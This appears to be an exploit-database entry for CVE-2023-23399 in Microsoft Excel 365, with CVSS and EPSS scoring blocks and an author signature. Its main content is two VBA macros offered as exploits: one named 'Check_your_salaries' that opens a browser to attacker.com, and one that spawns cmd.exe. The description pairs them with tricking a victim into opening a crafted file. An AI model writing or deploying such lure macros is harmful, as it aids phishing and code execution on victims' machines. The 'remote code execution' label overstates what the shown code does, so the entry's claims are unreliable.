Lucene search

K
zdtNu11secur1ty1337DAY-ID-38551
HistoryApr 08, 2023 - 12:00 a.m.

Microsoft Excel 365 MSO (v 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution Vulnerability

2023-04-0800:00:00
nu11secur1ty
0day.today
75

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

4.4 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:M/Au:N/C:P/I:P/A:P

0.006 Low

EPSS

Percentile

78.0%

## Exploit Title: Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE)
## Exploit Author: nu11secur1ty
## Date: 03.16.2023
## Vendor: https://www.microsoft.com/en-us/microsoft-365/excel
## Software: https://www.microsoft.com/en-us/microsoft-365/excel
## Reference: https://www.invicti.com/learn/remote-code-execution-rce/
## CVE ID: CVE-2023-23399

## Description:
The malicious user can exploit the victim's PC remotely.
For example, when the score indicates that the Attack Vector is Local
and User Interaction is Required, this could describe an exploit in
which an attacker, through social engineering, convinces a victim to
download and open a specially crafted file from a website which leads
to a local attack on their computer.

STATUS: HIGH Vulnerability

[+]Exploit0:
```
Sub Check_your_salaries()
CreateObject("Shell.Application").ShellExecute
"microsoft-edge:https://attacker.com"
End Sub
```
[+]Exploit1:
```
Sub cmd()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "cmd.exe"
TaskID = Shell(Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-23399)

## Proof and Exploit:
[href](https://streamable.com/dnyfx0)

## Time spend:
03:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

4.4 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:M/Au:N/C:P/I:P/A:P

0.006 Low

EPSS

Percentile

78.0%